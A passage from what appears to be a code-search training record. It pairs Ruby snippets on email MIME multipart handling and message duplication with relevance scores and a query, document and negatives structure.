contentId }\n parts.push(part)\n\n body = body.slice(final, body.length)\n end\n\n if not valid\n raise \"invalid multipart response received\"\n end\n\n parts\n end",
"def copy_content_to_body\n self.body = self.content.to_plain_text\n end",
"def parseMessageFile(filename) \n \n mFile = File.open(filename)\n\n def mFile.nextContentLine\n line = nil\n loop do\n line = self.readline.chomp\n break unless line[0] == '#'\n end\n\n line\n end\n \n #from = mFile.readline.chomp\n from = mFile.nextContentLine\n \n #to = mFile.readline.chomp\n to = mFile.nextContentLine\n \n #cc = mFile.readline.chomp\n cc = mFile.nextContentLine\n cc = cc == '' ? nil : cc\n \n #subject = mFile.readline.chomp\n subject = mFile.nextContentLine\n \n \n body = ''\n \n mFile.each_line do |l|\n body << l\n \n \n \n \n end\n \n \n [from, to, cc, subject, body]\n \n \n \n \n end",
"def assign_to_message(message)\n message.subject = @subject if @subject\n\n message.headers['bcc'] = @bcc if @bcc\n message.headers['cc'] = @cc if @cc\n\n message.headers['from'] = @from if @from\n message.headers['reply-to'] = @reply_to if @reply_to\n\n message.headers[::Message::DO_NOT_SEND_HEADER] = true if @do_not_send\n\n @headers.each_pair do |name, value|\n message.headers[name] = value\n end\n end",
"def message=(obj)\n case obj\n when String\n @message = obj\n when Mail::Message\n @mail = obj\n @message = obj.to_s\n when Hash\n @mail = Mail::Tools::Editor.construct(obj)\n @message = @mail.to_s\n else\n @message = ''\n end\n end",
"def file_to_multipart(key,filename,mime_type,content)\n return \"Content-Disposition: form-data; name=\\\"#{CGI::escape(key)}\\\"; filename=\\\"#{File.basename(filename)}\\\"\\r\\n\" +\n \"Content-Transfer-Encoding: binary\\r\\n\" +\n \"Content-Type: #{mime_type}\\r\\n\" +\n \"\\r\\n\" +\n \"#{content}\\r\\n\"\nend",
"def decode_mime_parts part, preferred_type, level=0\n if part.multipart?\n if mime_type_for(part) =~ /multipart\\/alternative/\n target = part.body.parts.find { |p| mime_type_for(p).index(preferred_type) } || part.body.parts.first\n if target # this can be nil\n decode_mime_parts target, preferred_type, level + 1\n else\n []\n end\n else # decode 'em all\n part.body.parts.compact.map { |subpart| decode_mime_parts subpart, preferred_type, level + 1 }.flatten 1\n end\n else\n type = mime_type_for part\n filename = mime_filename_for part\n id = mime_id_for part\n content = mime_content_for part, preferred_type\n [[type, filename, id, content]]\n end\n end",
"def create!(method_name, *parameters) #:nodoc:\n initialize_defaults(method_name)\n __send__(method_name, *parameters)\n\n # If an explicit, textual body has not been set, we check assumptions.\n unless String === @body\n # First, we look to see if there are any likely templates that match,\n # which include the content-type in their file name (i.e.,\n # \"the_template_file.text.html.erb\", etc.). Only do this if parts\n # have not already been specified manually.\n if @parts.empty?\n # Start find with name.content-type.locale.*\n dg = Dir.glob(\"#{template_path}/#{@template}.*.#{@locale}.*\")\n # Continue find withouth content-type\n dg = Dir.glob(\"#{template_path}/#{@template}.#{@locale}.*\") unless dg.any?\n # Finally go for just the name\n dg = Dir.glob(\"#{template_path}/#{@template}.*\") unless dg.any?\n dg.each do |path|\n template = template_root[\"#{mailer_name}/#{File.basename(path)}\"]\n\n # Skip unless template has a multipart format\n next unless template && template.multipart?\n\n @parts << Part.new(\n :content_type => template.content_type,\n :disposition => \"inline\",\n :charset => charset,\n :body => render_message(template, @body)\n )\n end\n unless @parts.empty?\n @content_type = \"multipart/alternative\" if @content_type !~ /^multipart/\n @parts = sort_parts(@parts, @implicit_parts_order)\n end\n end\n\n # Then, if there were such templates, we check to see if we ought to\n # also render a \"normal\" template (without the content type). If a\n # normal template exists (or if there were no implicit parts) we render\n # it.\n localised_template_exists = false\n template_exists = @parts.empty?\n if template_exists\n # render the localised template if available\n localised_template_exists = template_root[\"#{mailer_name}/#{@template}.#{@locale}\"]\n @body = render_message(\"#{@template}.#{@locale}\", @body) if localised_template_exists\n end\n template_exists ||= template_root[\"#{mailer_name}/#{@template}\"]\n @body = render_message(@template, @body) if template_exists unless localised_template_exists\n\n # Finally, if there are other message parts and a textual body exists,\n # we shift it onto the front of the parts and set the body to nil (so\n # that create_mail doesn't try to render it in addition to the parts).\n if !@parts.empty? && String === @body\n @parts.unshift Part.new(:charset => charset, :body => @body)\n @body = nil\n end\n end\n\n # If this is a multipart e-mail add the mime_version if it is not\n # already set.\n @mime_version ||= \"1.0\" if !@parts.empty?\n\n # build the mail object itself\n @mail = create_mail\n end",
"def compose(fields) # :nodoc:\n if fields.class != Hash\n raise \"RT_Client.compose requires parameters as a hash.\"\n end\n\n payload = { :multipart => true }\n\n # attachments\n if fields.has_key? :Attachments\n fields[:Attachment] = fields[:Attachments]\n fields.delete :Attachments\n end\n if fields.has_key? :Attachment\n filenames = fields[:Attachment].split(',')\n attachment_num = 1\n filenames.each do |f|\n payload[\"attachment_#{attachment_num.to_s}\"] = File.new(f)\n attachment_num += 1\n end\n # strip paths from filenames\n fields[:Attachment] = filenames.map {|f| File.basename(f)}.join(',')\n end\n\n # fixup Text field for RT's quasi-RFC822 form\n if fields.has_key? :Text\n fields[:Text].gsub!(/\\n/,\"\\n \") # insert a space on continuation lines.\n end\n\n field_array = fields.map { |k,v| \"#{k}: #{v}\" }\n content = field_array.join(\"\\n\") # our form\n payload[\"content\"] = content\n\n return payload\n end",
"def decode_mime_parts part, preferred_type, level=0\n if part.multipart?\n if mime_type_for(part) =~ /multipart\\/alternative/\n target = part.body.find { |p| mime_type_for(p).index(preferred_type) } || part.body.first\n if target # this can be nil\n decode_mime_parts target, preferred_type, level + 1\n else\n []\n end\n else # decode 'em all\n part.body.compact.map { |subpart| decode_mime_parts subpart, preferred_type, level + 1 }.flatten 1\n end\n else\n type = mime_type_for part\n filename = mime_filename_for part\n id = mime_id_for part\n content = mime_content_for part, preferred_type\n [[type, filename, id, content]]\n end\n end",
"def forward\n message = self.message.class.new(:subject => subject, :body => body)\n message.sender = receiver\n message\n end",
"def create\n mail = Mail.new\n mail.from = params[:from]\n mail.to = params[:to]\n mail.cc = params[:cc]\n mail.subject = params[:subject]\n mail.delivery_method :smtp, ActionMailer::Base.smtp_settings\n\n text_part = Mail::Part.new\n text_part.body = params[:text]\n\n html_part = Mail::Part.new\n html_part.content_type = 'text/html; charset=UTF-8'\n html_part.body = simple_format(params[:text])\n\n mail.text_part = text_part\n mail.html_part = html_part\n\n mail.deliver\n\n flash[:notice] = \"Test email sent\"\n redirect_to new_test_email_path\n end",
"def find_message!\n return self if message || organization.nil?\n self.message = organization.messages.find_by_message_id_header(message_id)\n return self\n end",
"def parse_multipart_alternative raw_body\n\n # Use the boundary to split up each part of the email\n boundary = get_boundary(@headers[\"Content-Type\"])\n bodies = raw_body.split(boundary + \"\\n\")[1..-1].map { |body|\n\n # Lather, rinse, repeat: get the content and bodies of each part, then parse\n body_content_type = body.split(\"Content-Type: \", 2).last.split(\";\", 2).first\n body = body.split(/\\n\\n/, 2).last.gsub(/#{boundary}--/, \"\")\n parse_body(body_content_type, body)\n }.flatten\n end",
"def encoded(transfer_encoding = '8bit')\n if multipart?\n self.sort_parts!\n encoded_parts = parts.map { |p| p.encoded }\n ([preamble] + encoded_parts).join(crlf_boundary) + end_boundary + epilogue.to_s\n else\n be = get_best_encoding(transfer_encoding)\n dec = Mail::Encodings::get_encoding(encoding)\n enc = Mail::Encodings::get_encoding(be)\n if dec.nil?\n # Cannot decode, so skip normalization\n raw_source\n else\n # Decode then encode to normalize and allow transforming \n # from base64 to Q-P and vice versa\n decoded = dec.decode(raw_source)\n if defined?(Encoding) && charset && charset != \"US-ASCII\"\n decoded.encode!(charset)\n decoded.force_encoding('BINARY') unless Encoding.find(charset).ascii_compatible?\n end\n enc.encode(decoded)\n end\n end\n end",
"def multipart_body(body, parts, boundary, mtype, filesize)\n lambda do |socket|\n begin\n begin\n first = parts.shift\n last = parts.shift\n socket.write(\n \"--#{boundary}#{CRLF}\" \\\n \"Content-Type: #{mtype}#{CRLF}\" \\\n \"Content-Range: bytes #{first}-#{last}/#{filesize}#{CRLF}\" \\\n \"#{CRLF}\"\n )\n\n begin\n IO.copy_stream(body, socket, last - first + 1, first)\n rescue NotImplementedError\n body.seek(first, IO::SEEK_SET)\n IO.copy_stream(body, socket, last - first + 1)\n end\n socket.write(CRLF)\n end while parts[0]\n socket.write(\"--#{boundary}--#{CRLF}\")\n ensure\n body.close\n end\n end\n end",
"def create\n @message = Message.new(message_params)\n # Only handle a file upload if they can attach\n if can?(RS::AuthorisationHelper::CREATE_ATTACHMENT)\n render('new', status: :unprocessable_entity) && return if handle_file_upload(parent_param: :dashboard_message)\n\n @message.attachment = @resource_items[0] unless @resource_items.nil?\n end\n success, msg_refno = @message.save(current_user)\n # need to call return\n return redirect_to_confirmation_page(msg_refno) if success\n\n render('new', status: :unprocessable_entity)\n end",
"def extract_message(response)\n # Extract the message element\n # e.g. /Envelope/Body/ReadPublicationResponse/PublicationMessage\n soap_ns = 'http://schemas.xmlsoap.org/soap/envelope/'\n message = response.doc.xpath('s:Envelope/s:Body', s: soap_ns).first.first_element_child.first_element_child\n\n return nil unless message\n\n id = message.element_children[0].text\n content = message.element_children[1].first_element_child\n topics = message.element_children[2..-1].map {|e| e.text}\n\n # Retain any ancestor namespaces in case they are applicable for the element\n # and/or children. This is because content.to_xml does not output ancestor\n # namespaces.\n # There may be unnecessary namespaces carried across (e.g. ISBM, SOAP), but we\n # can't tell if the content uses them without parsing the content itself.\n content.namespaces.each do |key, value|\n # Don't replace default namespace if it already exists\n next if key == 'xmlns' && content['xmlns']\n content[key] = value\n end\n\n # Wrap content in a separate Nokogiri document. This allows the ability to\n # validate the content against a schema.\n doc = Nokogiri::XML(content.to_xml)\n\n IsbmAdaptor::Message.new(id, doc, topics)\n end",
"def clone\n h = super\n h.fields = Marshal::load(Marshal::dump(@fields))\n h.mbox_from = Marshal::load(Marshal::dump(@mbox_from))\n h\n end",
"def body_parts\n\t @part.getCount.times.map do |index|\n\t\tpart = @part.getBodyPart(index)\n\t\tnext(BodyPart.new(part, self)) \\\n\t\t unless @message.is_a?(javax.mail.Multipart)\n\t\tMultipart.new(part, self)\n\t end\n\tend",
"def content_type; @message_impl.getContentType; end",
"def mailbox_convert_messages(mailbox_path, from_imap = false)\n api(\"MailboxConvertMessages\", mailbox_path, from_imap)\n end",
"def get_main_body_text_part\n leaves = get_attachment_leaves\n \n # Find first part which is text/plain\n leaves.each do |p|\n if p.content_type == 'text/plain'\n return p\n end\n end\n\n # Otherwise first part which is any sort of text\n leaves.each do |p|\n if p.main_type == 'text'\n return p\n end\n end\n \n # ... or if none, consider first part \n p = leaves[0]\n # if it is a known type then don't use it, return no body (nil)\n if mimetype_to_extension(p.content_type)\n # this is guess of case where there are only attachments, no body text\n # e.g. http://www.whatdotheyknow.com/request/cost_benefit_analysis_for_real_n\n return nil\n end\n # otherwise return it assuming it is text (sometimes you get things\n # like binary/octet-stream, or the like, which are really text - XXX if\n # you find an example, put URL here - perhaps we should be always returning\n # nil in this case)\n return p\n end",
"def file_body(message, file)\n file_name = File.basename(file.path)\n mime_type = MimeMagic.by_path(file_name)\n file_content = Base64.encode64(file.read)\n\n body = [\"--#{BOUNDARY}\"]\n body << 'Content-Type: application/json; charset=UTF-8'\n body << 'Content-Disposition: attachment; name=\"metadata\"'\n body << ''\n body << message\n body << \"--#{BOUNDARY}\"\n body << \"Content-Type: #{mime_type}; charset=UTF-8\"\n body << 'Content-Transfer-Encoding: base64'\n body << %{Content-Disposition: attachment; name=\"file\"; filename=\"#{file_name}\"}\n body << ''\n body << file_content\n body << \"--#{BOUNDARY}--\"\n body.join(\"\\n\")\n end",
"def message_param\n params.require(:mail).require(:message).fetch(:text, nil)\n end",
"def content\n if @content.nil?\n @content = @message_impl.getContent\n\n # decode the content is necessary if it\n # has an encoded content type\n if [\"amqp/list\", \"amqp/map\"].include? @message_impl.getContentType\n @content = Qpid::Messaging.decode(self,\n @message_impl.getContentType)\n end\n\n end\n @content\n end",
"def attachments\n @attachments ||= begin\n return message.attachments unless message.attachments.empty?\n if full_text_part.nil? && full_html_part.nil?\n [ message ]\n else\n []\n end\n end\n end",
"def upload_message_mms_attachment_with_http_info(file, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TextMagicApi.upload_message_mms_attachment ...'\n end\n # verify the required parameter 'file' is set\n if @api_client.config.client_side_validation && file.nil?\n fail ArgumentError, \"Missing the required parameter 'file' when calling TextMagicApi.upload_message_mms_attachment\"\n end\n # resource path\n local_var_path = '/api/v2/messages/mms/attachment'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n\n # form parameters\n form_params = {}\n form_params['file'] = file\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'UploadMessageAttachmentResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TextMagicApi#upload_message_mms_attachment\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def upload_message_mms_attachment(file, opts = {})\n data, _status_code, _headers = upload_message_mms_attachment_with_http_info(file, opts)\n data\n end",
"def build_multipart_content(params)\n\tparts, boundary = [], \"#{rand(1000000)}-we-are-all-doomed-#{rand(1000000)}\"\n\t\n\tparams.each do |name, value|\n\t\tdata = []\n\t\tif value.is_a?(Pathname) then\n\t\t\tdata << \"Content-Disposition: form-data; name=\\\"#{urlencode(name.to_s)}\\\"; filename=\\\"#{value.basename}\\\"\"\n\t\t\tdata << \"Content-Type: #{value.type}\"\n\t\t\tdata << \"Content-Length: #{value.size}\"\n\t\t\tdata << \"Content-Transfer-Encoding: binary\"\n\t\t\tdata << \"\"\n\t\t\tdata << IO.read(value.cleanpath)\n\t\t\telse\n\t\t\tdata << \"Content-Disposition: form-data; name=\\\"#{urlencode(name.to_s)}\\\"\"\n\t\t\tdata << \"\"\n\t\t\tdata << value\n\t\tend\n\t\t\n\t\tparts << data.join(\"\\r\\n\") + \"\\r\\n\"\n\tend\n\t\n\t[ \"--#{boundary}\\r\\n\" + parts.join(\"--#{boundary}\\r\\n\") + \"--#{boundary}--\", {\n\t\t\"Content-Type\" => \"multipart/form-data; boundary=#{boundary}\"\n\t}]\nend",
"def rewrite_body(message, content_type:, parts: [])\n message.body = nil\n message.content_type = content_type\n parts.each { |p| message.add_part(p) }\n end",
"def request_message\n return if @parts.empty?\n\n @request_message = Part.new do\n content_type 'multipart/related; type=\"text/xml\"'\n end\n\n soap_body = self.to_xml\n soap_message = Part.new do\n content_type 'text/xml; charset=utf-8'\n add_content_transfer_encoding\n body soap_body\n end\n soap_message.add_content_id \"<savon_soap_xml_part>\"\n @request_message.add_part(soap_message)\n @parts.each do |part|\n @request_message.add_part(part)\n end\n #puts @request_message\n @request_message\n end",
"def newMessage\n @message = Message.new\n end",
"def build_message\n @subject = self.content[:short_subject]\n curate_text\n\n\n mail = Mail.new({\n :from => @replyto,\n :to => @recipients,\n :subject => @subject,\n :body => @text\n })\n\n if @no_send\n self.print\n return\n end\n\n\n return mail\n end",
"def parse_multipart_alternative raw_body\n\n\t\t# Use the boundary to split up each part of the email\n\t\tboundary = get_boundary(@headers[\"Content-Type\"])\n\t\tbodies = raw_body.split(boundary + \"\\n\")[1..-1].map { |body|\n\n\t\t\t# Lather, rinse, repeat: get the content and bodies of each part, then parse\n\t\t\tbody_content_type = body.split(\"Content-Type: \", 2).last.split(\";\", 2).first\n\t\t\tbody = body.split(/\\n\\n/, 2).last.gsub(/#{boundary}--/, \"\")\n\t\t\tparse_body(body_content_type, body)\n\t\t}.flatten\n\tend"
] |
[
"0.61831546",
"0.60385853",
"0.60258377",
"0.59242654",
"0.569401",
"0.5650386",
"0.556802",
"0.55310506",
"0.55279696",
"0.5503629",
"0.5468469",
"0.5391712",
"0.5383793",
"0.5360579",
"0.5327401",
"0.52827686",
"0.52722377",
"0.5253468",
"0.52444655",
"0.52317613",
"0.51520956",
"0.51493466",
"0.5134611",
"0.5121676",
"0.51062316",
"0.5056107",
"0.5038226",
"0.5038152",
"0.50309706",
"0.5004963",
"0.4994677",
"0.49898592",
"0.49808532",
"0.49546802",
"0.49502423",
"0.4940101",
"0.4934791",
"0.4930468",
"0.49018177",
"0.4875909",
"0.48726755",
"0.486198",
"0.48594847",
"0.48576826",
"0.4845623",
"0.4833567",
"0.48020613",
"0.47877574",
"0.47849637",
"0.47797254",
"0.47791478",
"0.47776872",
"0.4760361",
"0.47529376",
"0.47499615",
"0.47485328",
"0.4741767",
"0.47363126",
"0.4733553",
"0.4724155",
"0.472028",
"0.47195742",
"0.46918914",
"0.46843103",
"0.4662107",
"0.4657468",
"0.46275857",
"0.46259585",
"0.46049997",
"0.4604002",
"0.45974422",
"0.45974308",
"0.45965275",
"0.459139",
"0.45904323",
"0.4558472",
"0.45569918",
"0.45497778",
"0.45477527",
"0.45466316",
"0.4538393",
"0.4538371",
"0.453602",
"0.45304713",
"0.4529052",
"0.45138755",
"0.4510722",
"0.45049247",
"0.44878724",
"0.44800568",
"0.44794723",
"0.44686523",
"0.44610354",
"0.44578847",
"0.44508755",
"0.44485316",
"0.4440253",
"0.44396326",
"0.44369552",
"0.44345897"
] |
0.73677135
|
0
|
Duplicates a message part, preserving its ContentID if present.
|
def duplicate_part(part)
duplicate = part.dup
duplicate.add_content_id(part.content_id) unless part.content_id.nil?
duplicate
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def duplicate\n dup_frames = @msg_frames.map {|frame| frame.dup}\n ZMQ::StringMultipartMessage.new(dup_frames)\n end",
"def duplicate\n dup_frames = @msg_frames.map {|frame| frame.duplicate}\n ZMQ::RawMultipartMessage.new(dup_frames)\n end",
"def set_duplicate_message(message, clone)\n if message.request?\n if message.from_user_info == @from && message.to_user_info == @to\n if clone.outgoing? && message.incoming?\n clone.duplicate = true\n else\n message.duplicate = true\n end\n else\n if clone.outgoing? && message.incoming?\n message.duplicate = true\n else\n clone.duplicate = true\n end\n end\n else\n if message.from_user_info == @from && message.to_user_info == @to\n if clone.outgoing? && message.incoming?\n message.duplicate = true\n else\n clone.duplicate = true\n end\n else\n if clone.outgoing? && message.incoming?\n clone.duplicate = true\n else\n message.duplicate = true\n end\n end\n end\n end",
"def duplicate_message_template(id, data)\n # FIXME: Error in duplicating\n @client.raw('post', \"/content/message-templates/#{id}/duplicate\", nil, data_transform(data))\n end",
"def duplicate\n rejected_attributes = %w[id type created_at updated_at respondents_count]\n questionnaire = self.class.name.constantize.new(self.attributes.reject{|key,value| rejected_attributes.include?(key)})\n questionnaire.save\n contents.each do |content|\n copy = content.copy\n questionnaire.contents << copy\n \n \n # copy.clone_assets(content)\n \n end\n questionnaire\n end",
"def duplicate\n enhance_settings\n\n p = self.dup\n p.category = 'COPY OF ' + category\n p.created_at = p.updated_at = nil\n p.url = url\n p.attachment = attachment\n\n # allow site to do some customization\n p.send( :duplicate_extra, self ) if p.respond_to?( :duplicate_extra )\n p.save!\n \n p\n end",
"def dup\n h = super\n h.fields = @fields.dup\n h.mbox_from = @mbox_from\n h\n end",
"def duplicate!\n ff = amoeba_dup\n ff.save\n ff\n end",
"def keep message\n @messages << message\n end",
"def duplicate_content_template(id)\n @client.raw('post', \"/content/templates/#{id}/duplicate/\")\n end",
"def duplicate(from)\n @bits.each_index {|i| @bits[i] = from.getWord(i)}\n end",
"def body_to_part(message)\n part = ::Mail::Part.new\n part.content_type = message.content_type\n if message.multipart?\n message.body.parts.each { |p| part.add_part duplicate_part(p) }\n else\n part.body = message.body.decoded\n end\n part\n end",
"def duplicate\n @new_course = duplicator.duplicate(@current_course)\n if @new_course.save\n Course::Mailer.course_duplicated_email(@current_course, @new_course,\n @current_user).deliver_now\n end\n @new_course\n end",
"def duplicate_message?(dedupe_key, klass, queue_timeout)\n dupe_detector.found_duplicate?(:id=>dedupe_key, :queue=>klass.to_s, :visibility_timeout=>queue_timeout)\n end",
"def duplicate\n @newsletter = @structure.newsletters.includes(:blocs).find params[:id]\n duplicated_newsletter = @newsletter.duplicate!\n\n redirect_to pro_structure_newsletters_path(@structure), notice: 'Newsletter dupliquée avec succés.'\n end",
"def dup\n return super unless post_id\n clone = super\n clone.post_id = nil\n clone\n end",
"def duplicate_form(id)\n @client.raw('post', \"/content/forms/#{id}/duplicate\")\n end",
"def dup_and_save\n new_q = self.amoeba_dup\n new_q.sort_order = self.sort_order.to_i + 1\n new_q.save\n new_q\n end",
"def remove_duplicates(phrase, important, sentence = true)\n\tres = remove_duplicates_recursivly(sentence, important, sentence.to_s)\n\treturn sentencize(res, sentence)\nend",
"def update_duplicate_uri\n # Checking if multiple content are present with the same uri the updating the uri\n duplicate_entries = Content.where(:uri=>self.uri)\n\n # Only change the uri if more than one entry is found for the current uri\n if duplicate_entries.length > 1\n old_uri = self.uri\n new_uri = old_uri+'_'+rand(100000).to_s\n\n # Updating the current uri with the newly generated uri\n self.update_attributes(:uri => new_uri)\n end\n # End of code for handling the content with same uri\n end",
"def duplicate?(data)\n msg_digest = Digest::MD5.hexdigest(data.to_s)\n return true if @messages_cache.include?(msg_digest)\n\n @messages_cache << msg_digest\n return false\n end",
"def original_message_id \n @private_messages.first.original_message_id # All threaded messages share the same original ID, so we'll just call the first record\n end",
"def duplicate_message?(user, message, structure, interval=2.day)\n recipient = structure.admin\n conversations = user.mailbox.sentbox.where(mailboxer_label_id: Mailboxer::Label::INFORMATION.id)\n\n messages = []\n conversations.each do |conversation|\n messages += conversation.messages.where(created_at: (Time.now - interval)..Time.now)\n end\n\n duplicate = messages.find do |original|\n original.body == message[:body] && recipient.in?(original.recipients)\n end\n\n return duplicate.present?\n end",
"def duplicate\n super do |cloned_resource|\n cloned_resource.title = \"Copy #{@resource.title[0...Integral.title_length_maximum - 5]}\"\n cloned_resource.view_count = 0\n cloned_resource.build_active_block_list(content: @resource.active_block_list.content, listable: cloned_resource)\n cloned_resource.tag_list = @resource.tag_list_on(@resource.tag_context)\n cloned_resource.slug = @resource.slug\n cloned_resource.status = :draft\n cloned_resource.published_at = nil\n end\n end",
"def duplicate(stuff)\n duplicated_stuff = []\n stuff = [*stuff] unless stuff.is_a?(Enumerable)\n stuff.each do |obj|\n duplicated_stuff << duplicate_object(obj)\n end\n duplicated_stuff.length == 1 ? duplicated_stuff[0] : duplicated_stuff\n end",
"def duplicate_subjects\n @pp_subject_files.select{|k,v| v.size > 1}\n end",
"def next_message_id\n @message_id += 1\n end",
"def next_message_id\n @message_id += 1\n end",
"def duplicate\n @copy = self.deep_clone :no_duplicates => true, :never_clone => [:uuid, :updated_at,:created_at]\n @copy.static_page = self.static_page.duplicate\n self.sub_pages.each do |page| \n copy_of_page = page.duplicate\n @copy.sub_pages << copy_of_page\n copy_of_page.save\n end\n @copy.save\n @copy\n end",
"def duplicate\n dup = Order.new\n dup.parent = self\n self.children << dup\n\n [:email,\n :ship_address,\n :bill_address,\n :shipping_method,\n :special_instructions,\n :split_shipment_type,\n :dc_code,\n :order_type].each do |attr|\n value = self.send(attr)\n dup.send(\"#{attr.to_s}=\", value)\n end\n\n # assign line_items\n self.line_items.each { |li| dup.add_variant li.variant, li.quantity }\n\n # set name\n dup.order_name = \"Duplicate of #{self.number}: #{self.order_name}\"\n dup.save!\n dup\n end",
"def dedupe_id\n raise NotImplementedError\n end",
"def duplicated_question\n duplicator = Duplicator.new({}, current_course: current_course)\n duplicator.duplicate(@question.specific).acting_as\n end",
"def build_duplicate(builder, metadata)\n builder.id = @id\n builder.metadata = DeserializedObject.new metadata\n builder.payload = @serialized_payload\n builder.timestamp = @timestamp\n end",
"def duplicate?\n c = Comment.find_by_trip_id_and_user_id_and_body(trip, user, body)\n # Give self the id for REST routing purposes.\n self.id = c.id unless c.nil?\n not c.nil?\n end",
"def duplicate\n dup.tap do |c|\n c.page = nil\n columns.each do |column|\n c.columns << column.duplicate\n end\n pictures.each do |picture|\n c.pictures << picture.duplicate\n end\n end\n end",
"def push_dup; end",
"def create_dup\n self.generate_key\n new = Mensaje.new(self.attributes.merge(:owner_id =>self.recibe_id))\n self.owner_id ||= self.envia_id\n self.save\n new.owner_id = self.recibe_id\n new.save if (new.valid? && !Mensaje.exists?(:clave => self.clave, :owner_id => new.owner_id))\n end",
"def condense(message)\n if message.multipart? && message.parts.any?(&:multipart?)\n # Get the message parts as a flat array.\n result = flatten(Mail.new, message.parts.dup)\n\n # Rebuild the message's parts.\n message.parts.clear\n\n # Merge non-attachments with the same content type.\n (result.parts - result.attachments).group_by(&:content_type).each do |content_type,group|\n body = group.map{|part| part.body.decoded}.join\n\n # Make content types match across all APIs.\n if content_type == 'text/plain; charset=us-ascii'\n # `text/plain; charset=us-ascii` is the default content type.\n content_type = 'text/plain'\n elsif content_type == 'text/html; charset=us-ascii'\n content_type = 'text/html; charset=UTF-8'\n body = body.encode('UTF-8') if body.respond_to?(:encode)\n end\n\n message.parts << Mail::Part.new({\n :content_type => content_type,\n :body => body,\n })\n end\n\n # Add attachments last.\n result.attachments.each do |part|\n message.parts << part\n end\n end\n\n message\n end",
"def full_dup(progress={})\r\n progress[object_id] = result = dup\r\n exclude = full_dup_exclude\r\n\r\n if exclude.empty?\r\n result.full_dup_no_exclusions(progress)\r\n else\r\n result.full_dup_with_exclusions(progress, exclude)\r\n end\r\n\r\n result\r\n end",
"def duplicate?\n\t\tpost = Post.find_by_blog_id_and_title_and_body(blog_id, title, body)\n\t\tself.id = post.id unless post.nil?\n\t\tnot post.nil?\n\tend",
"def duplicate_order(order_id, opts = {})\n data, _status_code, _headers = duplicate_order_with_http_info(order_id, opts)\n data\n end",
"def duplicate\n my_href = URI.parse(self.href)\n ServerTemplate.new(:href => connection.post(my_href.path + \"/duplicate\"))\n end",
"def dup\n copy = Queue.new\n copy.size = @size\n copy.elements = @elements\n copy\n end",
"def copy_part(part)\n response = client.upload_part_copy(part)\n\n { \"part_number\" => part[:part_number], \"etag\" => response.copy_part_result.etag }\n end",
"def duplicate(duplicate, original)\n @duplicate = duplicate\n @original = original\n @account = @duplicate.account\n @user = @account.user\n\n mail :to => @user.email\n end",
"def duplicate(qty_ordered, qty_received = nil, qty_issued = nil)\n new_item = OrderedLineItem.create!(self.attributes.merge({\n :quantity_ordered => qty_ordered, \n :quantity_received => qty_received, \n :issued_quantity => qty_issued,\n :date_received => nil\n }))\n new_item.line_item_no = self.line_item_no\n new_item.save!\n end",
"def update_unique_ids(env, content); end",
"def dup\n copy = super\n copy.clear_puzzle\n @puzzle.each_with_index do |entry, index|\n copy[index] = entry\n end\n copy\n end",
"def duplicate_component()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.LayoutEditor_duplicate_component(@handle.ptr)\n end",
"def dup\n clone = super\n clone.name = \"Clone of #{self.name}\"\n clone.institution_default = false\n # The instance requires an ID for MetadataProfileElement validations.\n clone.save!\n self.elements.each { |e| clone.elements << e.dup }\n clone\n end",
"def recevoirMessage(message)\r\n\t\t@lstMessages[message.id] = message\r\n\tend",
"def remove_revoked_and_duplicated_messages\n @rebalance_manager.lost_partitions.each do |topic, partitions|\n partitions.each do |partition|\n @buffer.delete(topic, partition)\n end\n end\n\n @buffer.uniq!\n end",
"def duplicate?\n\t\tpost = Post.find_by_blog_id_and_title_and_body(blog_id, title, body)\n\n\t\t# Give self the id for REST routing purposes.\n\t\tself.id = post.id unless post.nil?\n\t\tnot post.nil?\n\tend",
"def check_for_duplicate_message_id\n old_mail_log = nil\n user_thread.schedule do\n old_mail_log = user.mail_logs.find_by_message_id(message_id)\n end\n\n if old_mail_log\n Log.librato(:count, \"system.process_uid.duplicate_message_id\", 1)\n return false\n else\n return true\n end\n end",
"def dup\n super.tap { |duplicate| duplicate.slug = nil if duplicate.respond_to?(\"slug=\") }\n end",
"def original_message\n @original_message ||= messages.order(:created_at).first\n end",
"def dup\n duped_board = Board.new(false)\n\n figures.each do |piece|\n duped_board[piece.position] = piece.class.new(duped_board, piece.color, piece.position.dup)\n end\n\n duped_board\n end",
"def duplicate\n super do |cloned_resource|\n cloned_resource.title = \"Copy #{@resource.title}\"\n end\n end",
"def duplicate\n begin\n study = Study.find(params[:study_id])\n if study.user_id != session[:user_id]\n redirect_to(manage_study_path)\n return\n end\n \n unless params[:study_name] && params[:study_name] != \"\"\n flash[:error] = \"Please enter a valid name for the duplicate study.\"\n redirect_to(manage_study_path)\n return\n end\n \n s = Study.new\n s.name = params[:study_name]\n s.originator = session[:user_email]\n s.user_id = session[:user_id]\n s.active = false\n s.public = false\n s.n_way = 2\n s.save\n \n items = Item.where(study_id: params[:study_id])\n items.each do |item|\n i = Item.new\n i.study_id = s.id\n i.name = item.name\n i.description = item.description\n i.link = item.link\n i.image = item.image\n i.save\n end\n \n redirect_to(manage_study_path)\n rescue\n redirect_to(manage_study_path)\n end\n end",
"def duplicate\n # get the base name\n base = name.match(/^(.+?)( v(\\d+))?$/)[1]\n version = (self.class.max_version(base) || 1) + 1\n # create the new form and set the basic attribs\n cloned = self.class.new(:mission_id => mission_id, :name => \"#{base} v#{version}\", :published => false, :form_type_id => form_type_id)\n # clone all the questionings\n cloned.questionings = Questioning.duplicate(questionings)\n # done!\n cloned.save\n end",
"def duplicate(&block)\n @on_duplicate = block\n end",
"def dup\n obj = super\n obj.duplicated_from = self\n obj.resource = self.resource_file\n uhook_duplicated_object(obj)\n\n obj\n end",
